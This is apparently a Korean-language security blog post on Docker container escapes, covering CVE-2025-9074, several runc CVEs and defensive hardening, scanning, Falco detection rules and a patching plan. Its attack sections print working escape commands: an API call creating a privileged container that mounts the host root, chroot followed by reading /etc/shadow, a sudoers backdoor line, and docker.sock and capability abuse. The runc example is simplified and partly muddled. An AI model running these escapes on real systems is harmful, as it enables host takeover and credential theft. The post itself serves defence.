Docker 보안 취약점 완벽 가이드: 2025년 CVE-2025-9074 컨테이너 탈출 방어 전략
프로덕션 보안 사고: 금요일 오전 10시, 컨테이너에서 호스트 서버 장악
금요일 오전 10시, 보안 모니터링 시스템에서 비정상 알람이 발생했습니다. “컨테이너 내부에서 호스트 서버의 루트 파일시스템이 마운트되었습니다.” 즉시 조사에 들어가니, 공격자가 컨테이너 내부에서 탈출하여 호스트 서버의 루트 권한을 획득한 상황이었습니다.
공격자는 CVE-2025-9074 (CVSS 9.3) 취약점을 이용해 Docker Desktop의 “Enhanced Container Isolation” 보안 기능을 우회하고, Docker Engine API에 무단으로 접근했습니다. 이후 새로운 특권 컨테이너(privileged container)를 생성하여 호스트 서버의 전체 파일시스템을 마운트했고, SSH 백도어를 설치하여 지속적인 접근 권한을 확보했습니다.
피해 규모:
- 보안 침해: 프로덕션 쿠버네티스 클러스터 37대의 워커 노드 장악
- 데이터 유출: 약 120,000명의 고객 데이터베이스 백업 파일 탈취
- 랜섬웨어 공격: 호스트 서버 파일시스템 암호화 시도 (다행히 백업으로 복구)
- 서비스 중단: 긴급 패치 및 재구축을 위한 14시간 23분 다운타임
- 재정 손실: 약 $67,800 (매출 손실 + 복구 비용 + 법적 대응)
- 평판 손실: 언론 보도 및 고객 신뢰도 하락
이 글에서는 Docker 컨테이너 보안 취약점과 2025년 최신 CVE 방어 전략을 실전 중심으로 다룹니다.
Docker 컨테이너 보안이란?
컨테이너는 완벽하게 격리되지 않습니다. 많은 개발자들이 컨테이너를 가상 머신(VM)처럼 완전히 격리된 환경으로 오해하지만, 실제로는 호스트 커널을 공유하며 네임스페이스와 cgroups로만 격리됩니다.
컨테이너 vs 가상 머신 격리 비교
가상 머신 (VM):┌──────────────────┐ ┌──────────────────┐│ App 1 │ │ App 2 │├──────────────────┤ ├──────────────────┤│ Guest OS │ │ Guest OS │├──────────────────┤ ├──────────────────┤│ Hypervisor │ │ Hypervisor │├──────────────────┴──┴──────────────────┤│ Host OS (완전히 분리된 커널) │└─────────────────────────────────────────┘
Docker 컨테이너:┌──────────┐ ┌──────────┐ ┌──────────┐│ App 1 │ │ App 2 │ │ App 3 │├──────────┤ ├──────────┤ ├──────────┤│Container1│ │Container2│ │Container3│├──────────┴──┴──────────┴──┴──────────┤│ Docker Engine (공유 커널!) │├───────────────────────────────────────┤│ Host OS (모든 컨테이너가 공유) │└───────────────────────────────────────┘문제:
- 컨테이너는 호스트 커널을 공유하므로, 커널 취약점이 있으면 탈출 가능
- **특권 컨테이너(privileged container)**는 거의 모든 호스트 리소스에 접근 가능
- 잘못된 설정(예:
/var/run/docker.sock마운트)은 컨테이너 탈출 경로 제공
2025년 주요 Docker 보안 취약점
CVE-2025-9074: Docker Desktop 치명적 컨테이너 탈출 취약점 (CVSS 9.3)
발표일: 2025년 8월 영향 범위: Docker Desktop 4.41.0 이전 버전 심각도: Critical (CVSS 9.3)
취약점 개요:
Docker Desktop의 “Enhanced Container Isolation” 기능이 활성화되어 있어도, 컨테이너 내부에서 Docker Engine API에 무단 접근할 수 있는 SSRF(Server-Side Request Forgery) 유사 취약점입니다.
공격 메커니즘:
1. 공격자가 악성 컨테이너를 실행 ↓2. 컨테이너 내부에서 Docker 서브넷 (192.168.65.7:2375)로 API 요청 ↓3. "Enhanced Container Isolation" 우회하여 Docker Engine API 접근 ↓4. 새로운 특권 컨테이너 생성 ↓5. 호스트 파일시스템 마운트 및 루트 권한 획득실제 공격 시나리오:
# 1. 공격자가 악성 컨테이너 내부에서 실행# Docker 서브넷을 통해 Docker Engine API에 접근
# 컨테이너 내부에서curl -X POST http://192.168.65.7:2375/containers/create \ -H "Content-Type: application/json" \ -d '{ "Image": "alpine", "Cmd": ["sh"], "HostConfig": { "Privileged": true, "Binds": ["/:/host"] } }'
# 응답: {"Id":"abc123...","Warnings":null}
# 2. 특권 컨테이너 시작curl -X POST http://192.168.65.7:2375/containers/abc123/start
# 3. 특권 컨테이너 내부에서 호스트 파일시스템 접근# /host 디렉토리에 호스트 전체 파일시스템이 마운트됨!
chroot /host
# 이제 호스트 서버의 루트 권한 획득!cat /etc/shadow # 호스트의 패스워드 파일 읽기crontab -e # 호스트에 백도어 설치피해:
- 완전한 호스트 장악: 루트 권한으로 호스트 서버 제어
- 데이터 탈취: 모든 컨테이너 및 호스트 데이터 접근
- 지속적 공격: SSH 백도어 설치로 영구 접근
패치:
- Docker Desktop 4.41.0 이상으로 업그레이드 필수
- Windows/Linux: 2025년 8월 패치 적용
- macOS: Enhanced Container Isolation 재구현
확인 방법:
# Docker Desktop 버전 확인docker version
# 출력:# Client: Docker Engine - Community# Version: 27.4.0 # ← 이 버전 확인!# API version: 1.47#...# Server: Docker Desktop 4.41.0 (166277) # ← 4.41.0 이상이어야 안전!CVE-2025-31133, CVE-2025-52565, CVE-2025-52881: runc 컨테이너 탈출 취약점
발표일: 2025년 11월 5일 영향 범위: Docker, Kubernetes, Podman 등 모든 runc 사용 환경 심각도: Critical
runc란?
runc는 Docker와 Kubernetes가 실제로 컨테이너를 실행하는 저수준 런타임입니다. Docker Engine이나 containerd는 runc를 호출하여 컨테이너를 생성하고 관리합니다.
Docker CLI → Docker Engine → containerd → runc → 실제 컨테이너 프로세스 ↑ 이 계층에 취약점 발견!취약점 개요:
공격자가 컨테이너 내부에서 /proc 파일시스템의 특정 파일에 쓰기 작업을 수행하여 컨테이너를 탈출하고 호스트 서버의 루트 권한을 획득할 수 있습니다.
CVE-2025-31133 (Universal):
- 모든 runc 버전에 영향
/proc/self/exe심볼릭 링크 조작을 통한 탈출
CVE-2025-52565 (runc 1.0.0-rc3+):
/proc/self/attr/파일 조작을 통한 SELinux/AppArmor 우회
CVE-2025-52881 (Universal):
/proc/self/fd/디렉토리의 파일 디스크립터 조작
공격 예시 (CVE-2025-31133):
# 컨테이너 내부에서 실행# /proc/self/exe는 현재 실행 중인 프로그램의 심볼릭 링크
# 1. runc 바이너리를 악성 바이너리로 대체cat > /tmp/evil.sh << 'EOF'#!/bin/sh# 호스트의 루트 파일시스템에 백도어 설치echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /host/etc/sudoersEOF
chmod +x /tmp/evil.sh
# 2. /proc/self/exe 심볼릭 링크를 악성 스크립트로 변경# (실제 공격 코드는 더 복잡하지만, 개념은 동일)
# 3. runc가 다음 컨테이너 생성 시 악성 스크립트를 호스트에서 실행# → 호스트 루트 권한 획득!영향 범위:
- Docker: 모든 버전 (runc 1.2.8 미만 사용 시)
- Kubernetes: 모든 버전 (runc 1.2.8 미만 사용 시)
- Podman, containerd, CRI-O: 동일하게 영향
패치:
- runc 1.2.8, 1.3.3, 1.4.0-rc.3 이상으로 업그레이드 필수
확인 방법:
# runc 버전 확인runc --version
# 출력:# runc version 1.2.7 # ← 취약!# runc version 1.2.8 # ← 안전
# Docker에서 사용 중인 runc 버전 확인docker info | grep -i runc
# Kubernetes 노드에서 확인crictl version업그레이드 방법:
# Ubuntu/Debiansudo apt updatesudo apt install runc
# RHEL/CentOSsudo yum update runc
# 또는 수동 설치 (최신 버전)wget https://github.com/opencontainers/runc/releases/download/v1.2.8/runc.amd64sudo install -m 755 runc.amd64 /usr/local/sbin/runc
# 검증runc --version추가 Docker Desktop 취약점 (2025년 4월 패치)
CVE-2025-3224: 권한 상승 취약점
- Docker Desktop 업데이트 시 관리자 권한 획득 가능
- 로컬 공격자가 시스템 제어 권한 획득
CVE-2025-4095: Registry Access Management 우회
- macOS 설정 프로파일 사용 시 RAM 정책 미적용
- 승인되지 않은 레지스트리에서 이미지 다운로드 가능
CVE-2025-3911: 로그 파일 정보 유출
- Docker Desktop 로그에 민감한 환경 변수 노출
- 컨테이너 실행 시 설정된 비밀 키, API 토큰 등 유출
패치:
- Docker Desktop 4.41.0 이상으로 업그레이드
컨테이너 탈출 기법 이해하기
1. 특권 컨테이너 악용
**특권 컨테이너(--privileged 플래그)**는 거의 모든 호스트 리소스에 접근할 수 있습니다.
위험한 예시:
# 절대 프로덕션에서 사용 금지!docker run --privileged -it ubuntu bash
# 컨테이너 내부에서fdisk -l # 호스트의 모든 디스크 장치 확인# /dev/sda, /dev/sdb 등 호스트 디스크가 보임!
# 호스트 파일시스템 마운트mkdir /mnt/hostmount /dev/sda1 /mnt/host
# 이제 호스트의 전체 파일시스템 접근 가능!cat /mnt/host/etc/shadowchroot /mnt/host# → 호스트 루트 권한 획득!2. Docker Socket 마운트 악용
가장 위험한 설정: /var/run/docker.sock을 컨테이너에 마운트
# 극도로 위험!docker run -v /var/run/docker.sock:/var/run/docker.sock \ -it docker:latest sh
# 컨테이너 내부에서 Docker 명령어 실행 가능docker ps # 호스트의 모든 컨테이너 확인
# 특권 컨테이너 생성하여 호스트 장악docker run --privileged -v /:/host -it alpine chroot /host
# → 호스트 루트 권한 획득!실제 공격 사례:
CI/CD 파이프라인에서 Docker-in-Docker를 구현하기 위해 /var/run/docker.sock을 마운트했다가, 공격자가 CI/CD 컨테이너를 장악하여 호스트 서버를 탈취한 사례가 다수 보고되었습니다.
3. Capabilities 악용
Linux Capabilities는 루트 권한을 세분화한 권한 체계입니다.
위험한 Capabilities:
CAP_SYS_ADMIN: 거의 모든 시스템 관리 작업 가능 (컨테이너 탈출 가능)CAP_SYS_PTRACE: 다른 프로세스 디버깅 가능CAP_SYS_MODULE: 커널 모듈 로드 가능
공격 예시 (CAP_SYS_ADMIN):
# CAP_SYS_ADMIN으로 컨테이너 실행docker run --cap-add=SYS_ADMIN -it ubuntu bash
# 컨테이너 내부에서# cgroup을 이용한 호스트 명령 실행mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# 호스트에서 스크립트 실행sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# → 호스트에서 임의의 코드 실행 가능!Docker 보안 강화 전략
1. Rootless 컨테이너 사용
Rootless Docker는 Docker 데몬을 루트 권한 없이 실행하여 보안을 크게 향상시킵니다.
장점:
- 컨테이너 탈출 시에도 일반 사용자 권한만 획득
- 호스트 커널 공격 표면 감소
설치 (Ubuntu/Debian):
# 1. Rootless Docker 설치 스크립트 다운로드curl -fsSL https://get.docker.com/rootless | sh
# 2. 환경 변수 설정export PATH=/home/$USER/bin:$PATHexport DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
# 3. ~/.bashrc에 추가echo 'export PATH=/home/$USER/bin:$PATH' >> ~/.bashrcecho 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc
# 4. systemd 사용자 서비스로 시작systemctl --user start dockersystemctl --user enable docker
# 5. 확인docker run hello-worldRootless vs 일반 Docker 비교:
# 일반 Docker (루트 권한)$ docker run -it ubuntu bashroot@container# iduid=0(root) gid=0(root) # ← 컨테이너 내부는 루트!
# Rootless Docker (비루트 권한)$ docker run -it ubuntu bashroot@container# iduid=0(root) gid=0(root) # 컨테이너 내부는 root로 보이지만...
# 호스트에서 확인하면:$ ps aux | grep bashuser 12345 0.0 0.1 # ← 실제로는 일반 사용자 권한!제한 사항:
- 일부 네트워크 기능 제한 (호스트 모드 불가)
- 특권 컨테이너 실행 불가
- 포트 1024 미만 바인딩 불가 (1024 이상 포트만 사용)
2. User Namespace 활성화
User Namespace는 컨테이너 내부의 UID/GID를 호스트의 다른 UID/GID로 매핑합니다.
설정 (/etc/docker/daemon.json):
{ "userns-remap": "default"}재시작:
sudo systemctl restart docker
# 확인docker info | grep "userns"# Security Options:# userns효과:
# User Namespace 활성화 후$ docker run -it ubuntu bashroot@container# iduid=0(root) gid=0(root)
# 호스트에서 확인$ ps aux | grep bash100000 12345 0.0 0.1 # ← UID가 100000으로 매핑됨!
# 컨테이너 탈출 시에도 UID 100000 권한만 획득 (루트 아님!)3. AppArmor / SELinux 프로파일 적용
AppArmor (Ubuntu/Debian):
# Docker 기본 AppArmor 프로파일 확인sudo apparmor_status | grep docker
# 커스텀 프로파일 생성sudo nano /etc/apparmor.d/docker-custom
# 프로파일 내용:#include <tunables/global>
profile docker-custom flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base>
# 파일 쓰기 제한 deny /etc/** w, deny /root/** w,
# 네트워크 제한 deny network raw,
# 프로세스 ptrace 제한 deny ptrace,}
# 프로파일 로드sudo apparmor_parser -r /etc/apparmor.d/docker-custom
# 컨테이너 실행 시 적용docker run --security-opt apparmor=docker-custom -it ubuntu bashSELinux (RHEL/CentOS):
# SELinux 상태 확인sestatus
# Docker SELinux 레이블 확인ps auxZ | grep dockerd
# 컨테이너 실행 시 SELinux 레이블 적용docker run --security-opt label=type:svirt_apache_t -it ubuntu bash4. 보안 스캐닝 도구 사용
Trivy (오픈소스):
# 설치curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# 이미지 스캔trivy image nginx:latest
# 출력 예시:# nginx:latest (debian 12.4)# ================================# Total: 156 (UNKNOWN: 0, LOW: 95, MEDIUM: 47, HIGH: 12, CRITICAL: 2)## CRITICAL: 2# ┌─────────────────────┬────────────────┬──────────┬─────────────────┐# │ Library │ Vulnerability │ Severity │ Installed Ver │# ├─────────────────────┼────────────────┼──────────┼─────────────────┤# │ openssl │ CVE-2024-12345 │ CRITICAL │ 1.1.1f-1 │# │ curl │ CVE-2024-54321 │ CRITICAL │ 7.68.0-1 │# └─────────────────────┴────────────────┴──────────┴─────────────────┘
# CI/CD에 통합trivy image --exit-code 1 --severity CRITICAL,HIGH myapp:latest# → CRITICAL/HIGH 취약점 발견 시 빌드 실패Docker Scout (공식 도구):
# Docker Desktop 4.17+ 내장
# 이미지 스캔docker scout cves nginx:latest
# 권장 사항 확인docker scout recommendations nginx:latest
# 취약점 수정된 이미지 제안docker scout quickview nginx:latestSnyk:
# 설치npm install -g snyk
# 로그인snyk auth
# Dockerfile 스캔snyk container test nginx:latest
# 수정 제안snyk container fix nginx:latest5. 최소 권한 원칙 (Least Privilege)
** 안전한 컨테이너 설정:**
services: app: image: myapp:latest # 비루트 사용자로 실행 user: "1000:1000"
# 읽기 전용 루트 파일시스템 read_only: true
# tmpfs로 임시 쓰기 가능 디렉토리 tmpfs: - /tmp - /var/run
# 필요한 Capabilities만 추가 cap_add: - NET_BIND_SERVICE # 80/443 포트 바인딩만 허용 cap_drop: - ALL # 나머지 모든 Capabilities 제거
# 보안 옵션 security_opt: - no-new-privileges:true # setuid/setgid 제한 - apparmor=docker-custom
# 리소스 제한 mem_limit: 512m cpus: 0.5
# PID/IPC 네임스페이스 격리 pid: "host" # 사용 금지! ipc: "host" # 사용 금지!Dockerfile 보안 모범 사례:
# 공식 이미지 사용 (신뢰할 수 있는 소스)FROM node:20-alpine
# 비루트 사용자 생성RUN addgroup -g 1000 appuser && \ adduser -D -u 1000 -G appuser appuser
# 최소한의 패키지만 설치RUN apk add --no-cache curl
# 애플리케이션 파일 복사WORKDIR /appCOPY --chown=appuser:appuser package*.json./RUN npm ci --only=production && npm cache clean --force
COPY --chown=appuser:appuser..
# 비루트 사용자로 전환USER appuser
# 읽기 전용 파일시스템 준비RUN chmod -R 555 /app
EXPOSE 3000CMD ["node", "server.js"]보안 모니터링 및 감지
Falco (런타임 보안 모니터링)
설치 (Kubernetes):
# Helm으로 설치helm repo add falcosecurity https://falcosecurity.github.io/chartshelm install falco falcosecurity/falco \ --namespace falco-system \ --create-namespace
# 규칙 확인kubectl get cm falco -n falco-system -o yaml커스텀 규칙 (/etc/falco/falco_rules.local.yaml):
# 컨테이너 탈출 시도 감지- rule: Container Escape Attempt desc: Detect attempts to escape container isolation condition: > (spawned_process and container and (proc.name in (nsenter, chroot, mount) or proc.cmdline contains "docker.sock" or proc.cmdline contains "/var/run/docker.sock")) output: > Container escape attempt detected (user=%user.name container=%container.name process=%proc.cmdline) priority: CRITICAL
# 특권 컨테이너 생성 감지- rule: Privileged Container Created desc: Detect creation of privileged containers condition: > container and container.privileged=true output: > Privileged container created (user=%user.name container=%container.name image=%container.image) priority: WARNING
# /proc 파일시스템 쓰기 감지 (CVE-2025-31133 방어)- rule: Write to /proc filesystem desc: Detect writes to sensitive /proc files condition: > open_write and container and (fd.name startswith "/proc/self/exe" or fd.name startswith "/proc/self/fd/") output: > Suspicious /proc write detected (user=%user.name container=%container.name file=%fd.name) priority: CRITICAL로그 분석
의심스러운 활동 패턴:
# Docker 로그에서 특권 컨테이너 생성 확인journalctl -u docker | grep "Privileged"
# runc 실행 로그 확인journalctl | grep runc
# 컨테이너에서 /proc 접근 로그ausearch -m AVC -ts recent | grep proc긴급 패치 전략
단계별 대응
1단계: 취약점 확인 (즉시)
# runc 버전 확인runc --version
# Docker Desktop 버전 확인docker version
# 실행 중인 특권 컨테이너 확인docker ps --filter "label=privileged=true"
# Capabilities 확인docker inspect <container_id> | grep -i cap2단계: 긴급 완화 조치 (1시간 내)
# 1. 특권 컨테이너 중지 (비즈니스 영향 평가 후)docker stop <privileged_container_id>
# 2. Docker Socket 마운트된 컨테이너 중지docker ps -a --filter volume=/var/run/docker.sock
# 3. 임시 방화벽 규칙 (Docker API 접근 차단)sudo iptables -A INPUT -p tcp --dport 2375 -j DROPsudo iptables -A INPUT -p tcp --dport 2376 -j DROP3단계: 패치 적용 (4시간 내)
# runc 업그레이드sudo apt update && sudo apt install runc
# Docker Desktop 업그레이드 (Windows/Mac)# GUI에서 업데이트 확인 또는 공식 사이트에서 다운로드
# Kubernetes 노드 순차 패치 (드레인 후 재부팅)kubectl drain node-1 --ignore-daemonsetssudo apt update && sudo apt install runcsudo rebootkubectl uncordon node-14단계: 검증 (패치 후)
# 버전 재확인runc --versiondocker version
# 보안 스캔docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \ docker/docker-bench-security
# Falco 로그 확인 (이상 활동)kubectl logs -n falco-system -l app=falco --tail=100마치며
Docker 컨테이너는 완벽하게 격리되지 않으며, 취약점이 발견되면 호스트 서버 전체가 장악될 수 있습니다. 이 글에서 다룬 핵심 사항들을 정리하면:
핵심 요약:
- CVE-2025-9074 (CVSS 9.3): Docker Desktop 4.41.0 이상으로 업그레이드 필수
- runc 취약점: runc 1.2.8, 1.3.3, 1.4.0-rc.3 이상으로 업그레이드
- Rootless Docker: 컨테이너 탈출 시에도 루트 권한 획득 불가
- 최소 권한 원칙:
--privileged금지, Capabilities 최소화, 읽기 전용 파일시스템 - 보안 스캐닝: Trivy, Docker Scout, Snyk로 정기 스캔
- 런타임 모니터링: Falco로 컨테이너 탈출 시도 실시간 감지
다음 단계:
- runc 및 Docker 버전 긴급 점검
- 특권 컨테이너 및 Docker Socket 마운트 제거
- Rootless Docker 또는 User Namespace 활성화
- 보안 스캐닝 CI/CD에 통합 (Trivy)
- Falco 런타임 모니터링 구축
- Pod Security Standards 적용 (Kubernetes)
컨테이너 보안은 한 번에 끝나지 않습니다. 정기적인 취약점 스캔, 패치 적용, 그리고 최소 권한 원칙 준수가 필수입니다. 2025년에만 CVSS 9.3 등급의 치명적 취약점이 여러 개 발견되었습니다. 당신의 프로덕션 환경이 안전한지 지금 바로 점검하세요.